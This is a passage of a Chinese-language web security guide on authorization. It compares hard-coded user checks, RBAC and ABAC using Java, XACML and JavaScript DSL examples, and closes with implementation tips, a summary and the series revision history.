public OperationResult deleteUser(final UserId userId, final User callingUser) { if (callingUser != null && callingUser.getUsername().equals("admin_kristen")) { doDelete(userId); return SUCCESS; } else { return PERMISSION_DENIED; } }
當使用者"admin_kristen"離開您的組織或更改到其他角色時會發生什麼?您要麼共享她的憑證(這當然是一個非常糟糕的主意),要麼通過更改代碼來更改對"admin_kristen"的所有引用。
這種情況的一個非常常見的替代方案是檢查角色,如此案例所示
public OperationResult deleteUser(final UserId userId, final User callingUser) { if (callingUser != null && callingUser.hasRole(Role.ADMIN)) { doDelete(userId); return SUCCESS; } else { return PERMISSION_DENIED; } }
更好,但不是最好。我們沒有將身份與操作綁定在一起,但是如果我們發現有較低特權的管理員被允許添加用戶,但不允許刪除用戶,那麼我們仍然存在問題。突然間,我們的"admin"角色不夠細緻,我們被迫找出所有的"admin"檢查,並且,如果適用,為由管理員和我們的新建用戶角色允許的操作放置一個或操作。隨著系統的發展,你會得到越來越複雜的語句和角色數量的激增。
隨著我們的軟體演進,使用者和角色將會變化,因此我們的解決方案應該反映這一點。我們的代碼不應該關心使用者是誰,甚至不應該關心他們可能擁有或不擁有的角色,而應該關心他們是否有權限做某事。身份到權限的映射可以在上游完成。
public OperationResult deleteUser(final UserId userId, final User callingUser) { if (callingUser != null && callingUser.hasPermission(Permission.DELETE_USER)) { doDelete(userId); return SUCCESS; } else { return PERMISSION_DENIED; } }
我們的結構現在好多了,因為我們已經明確選擇將權限與角色分開。是的,隨之而來一些複雜性需要將用戶映射到權限,但一般來說,你可以利用像Spring Security或CanCanCan這樣的框架來完成繁重的工作。
當考慮使用RBAC時,請考慮以下情況
- 權限相對靜態
- 您的策略中的角色實際上相當於您領域內的角色,而不是感覺像是權限的虛構聚合
- 沒有太多權限的排列組合,因此需要維護的角色也不會太多
- 您沒有使用其他選項的強烈理由。
實施ABAC
如果您的應用程式有比您可以合理實現的 RBAC 更高級的需求,您可能希望考慮使用基於屬性的存取控制(ABAC)。基於屬性的存取控制可以被視為對 RBAC 的一種擴展,可以擴展到用戶的任何屬性,用戶存在的環境或正在訪問的資源。
使用 ABAC,與其僅基於用戶是否被分配了角色來做出存取控制決策,邏輯可以來自用戶檔案的任何屬性,例如其由 HR 定義的職位、在公司工作的時間長短,或者其 IP 位址所在的國家。此外,ABAC 還可以利用全局屬性,如當天的時間或用戶所在區域的國定假日。
表達 ABAC 政策的最常見的標準化方式是 XACML,這是一種基於 Oasis 的 XML 格式。這個例子演示了如何編寫一個規則,如果用戶在特定時間的特定部門內則允許其閱讀。
<Policy PolicyId="ExamplePolicy" RuleCombiningAlgId="urn:oasis:names:tc:xacml:1.0:rule-combining-algorithm:permit-overrides"> <Target> <Subjects> <AnySubject/> </Subjects> <Resources> <Resource> <ResourceMatch MatchId="urn:oasis:names:tc:xacml:1.0:function:anyURI-equal"> <AttributeValue DataType="http://www.w3.org/2001/XMLSchema#anyURI">http://example.com/resources/1</AttributeValue> <ResourceAttributeDesignator DataType="http://www.w3.org/2001/XMLSchema#anyURI" AttributeId="urn:oasis:names:tc:xacml:1.0:resource:resource-id" /> </ResourceMatch> </Resource> </Resources> <Actions> <AnyAction /> </Actions> </Target> <Rule RuleId="ReadRule" Effect="Permit"> <Target> <Subjects> <AnySubject/> </Subjects> <Resources> <AnyResource/> </Resources> <Actions> <Action> <ActionMatch MatchId="urn:oasis:names:tc:xacml:1.0:function:string-equal"> <AttributeValue DataType="http://www.w3.org/2001/XMLSchema#string">read</AttributeValue> <ActionAttributeDesignator DataType="http://www.w3.org/2001/XMLSchema#string" AttributeId="urn:oasis:names:tc:xacml:1.0:action:action-id"/> </ActionMatch> </Action> </Actions> </Target> <Condition FunctionId="urn:oasis:names:tc:xacml:1.0:function:and"> <Apply FunctionId="urn:oasis:names:tc:xacml:1.0:function:string-equal"> <Apply FunctionId="urn:oasis:names:tc:xacml:1.0:function:string-one-and-only"> <SubjectAttributeDesignator DataType="http://www.w3.org/2001/XMLSchema#string" AttributeId="department"/> </Apply> <AttributeValue DataType="http://www.w3.org/2001/XMLSchema#string">development</AttributeValue> </Apply> <Apply FunctionId="urn:oasis:names:tc:xacml:1.0:function:and"> <Apply FunctionId="urn:oasis:names:tc:xacml:1.0:function:time-greater-than-or-equal"> <Apply FunctionId="urn:oasis:names:tc:xacml:1.0:function:time-one-and-only"> <EnvironmentAttributeSelector DataType="http://www.w3.org/2001/XMLSchema#time" AttributeId="urn:oasis:names:tc:xacml:1.0:environment:current-time"/> </Apply> <AttributeValue DataType="http://www.w3.org/2001/XMLSchema#time">09:00:00</AttributeValue> </Apply> <Apply FunctionId="urn:oasis:names:tc:xacml:1.0:function:time-less-than-or-equal"> <Apply FunctionId="urn:oasis:names:tc:xacml:1.0:function:time-one-and-only"> <EnvironmentAttributeSelector DataType="http://www.w3.org/2001/XMLSchema#time" AttributeId="urn:oasis:names:tc:xacml:1.0:environment:current-time" /> </Apply> <AttributeValue DataType="http://www.w3.org/2001/XMLSchema#time">17:00:00</AttributeValue> </Apply> </Apply> </Condition> </Rule> <Rule RuleId="Deny" Effect="Deny"/> </Policy>
值得一提的是,XACML 有其挑戰。它肯定是冗長的,也可以說是晦澀難懂的。如果您想使用標準化模型來定義 ABAC 政策,那麼它也是您唯一的選擇之一。另一個選擇是在您的應用程式語言中構建與其領域相關的政策。
以下是以 JavaScript 声明式風格編寫的相同政策的示例,該風格由一個小型 DSL 支持。
allow('read') .of(anyResource()) .if(and( User.department().is(equalTo('development')), timeOfDay().isDuring('9:00 PST', '17:00 PST')) );
這裡除了定義政策本身之外,還需要進行相當多的工作,這超出了本文的範圍。要了解這類實現可能是如何進行的,您可以查看支持示例政策的存儲庫中的 DSL 實現。如果您選擇使用自定義代碼的路徑,您需要考慮投入多少精力在 DSL 本身上,以及誰擁有實現。如果您期望擁有大量高度動態的政策,那麼一個更複雜的 DSL 可能是值得的。對於需要非程序員理解政策的情況,可能會證明有外部 DSL 是合理的。否則,對於範圍較小且政策較靜態的情況,最好從簡單的開始,目標是讓政策對其主要維護者——程序員——清晰可見,並在項目的生命周期中讓 DSL 不斷發展,始終注意到對 DSL 的更改不會破壞現有的政策實現。
在 DSL 中創建並非必要。 您可以使用與應用程序的其餘部分相同的面向對象、函數或程序性編碼風格,並依賴於強大的設計和重構實踐來創建乾淨的代碼。該存儲庫還包括 使用命令式而非聲明式方法的相同規則的示例。
考慮當
- 權限高度動態且僅更改用戶角色將是重大的維護頭痛時
- 權限依賴的配置文件屬性已經維護用於其他目的,例如管理員工的 HR 配置文件
- 訪問控制足夠敏感,以至於控制流程需要根據時間屬性變化,例如是否在您的員工的正常工作時間內
- 您希望具有非常細緻的權限的集中式策略,獨立於應用程序代碼之外管理。
建模策略的其他方法
上述僅是建模策略的兩種可能方式,可能適應大多數情況。儘管它們可能很罕見,但確實會出現不適合於 RBAC 或 ABAC 的情況。其他方法包括
- 強制訪問控制 (MAC): 基於主題和資源安全屬性的集中管理的不可覆蓋策略,例如 Linux 的 LSM
- 基於關係的訪問控制 (ReBAC): 策略在很大程度上由主體和資源之間的關係確定
- 自由訪問控制 (DAC): 包括由所有者管理的權限控制,以及具有可轉讓授權令牌的系統
- 基於規則的訪問控制: 根據一組運算符編程的規則動態分配角色或權限
對於這些方法何時適用甚至如何準確地定義它們,沒有普遍的一致意見。 它們允許運營商定義的政策類型有很大重疊。 在選擇更奇特的方法或創造您自己的方法之前,請確保 RBAC 或 ABAC 不是建模您的政策的合理方法。
實施考慮
最後,當您在應用程序中實現授權時,請考慮以下幾點建議。
- 當用戶共享瀏覽器時,瀏覽器緩存可能會對您的授權模型造成麻煩。 請確保將 Cache-Control 標頭設置為 "private, no-cache, no-store",以便每次都調用您的服務端授權代碼。
- 您將不可避免地需要決定是使用聲明式還是命令式方法來進行驗證邏輯。 在這里沒有對錯之分,但您將希望考慮哪種提供了最大的清晰度。 聲明式機制,例如 Spring Security 提供的註釋,可以簡潔優雅,但如果授權流程復雜,內置的表達式語言將變得難以理解,可以說,最好寫出良好分解的代碼。
- 嘗試尋找一個解決方案,無論是自定義還是基於框架的,可以整合並減少授權邏輯的重複。如果您發現您的授權代碼在整個代碼庫中隨意分散,那麼您將很難維護它,這將導致安全漏洞。
總結
- 授權必須始終在服務器上檢查。隱藏用戶界面組件對於用戶體驗來說是可以的,但並不是足夠的安全措施。
- 默認拒絕。正面驗證比負面驗證更安全,更不容易出錯。
- 代碼應對特定資源進行授權,如文件、個人資料或 REST 端點。
- 授權是特定於域的,但在設計權限模型時,有一些常見模式可以考慮。除非您有非常有說服力的理由,否則請堅持使用常見模式和框架。
- 對於基本情況,使用 RBAC,並將權限和角色解耦以允許策略演變。
- 對於更複雜的情況,考慮使用 ABAC,並使用 XACML 或在應用程式語言中編寫的策略。
重大修訂
2017年1月5日: 第八部分: 授權
2016年9月12日: 第七部分: 保護用戶會話
2016年8月15日: 第六部分: 安全驗證用戶
2016年5月25日: 第五部分: 對密碼進行哈希和鹽加密
2016年4月14日: 第四部分: 保護數據在傳輸中
2016年2月22日: 第三部分: 綁定數據庫參數
2016年2月3日: 第二部分: 輸出編碼
2016年1月28日: 首次發表,包括有關輸入驗證的部分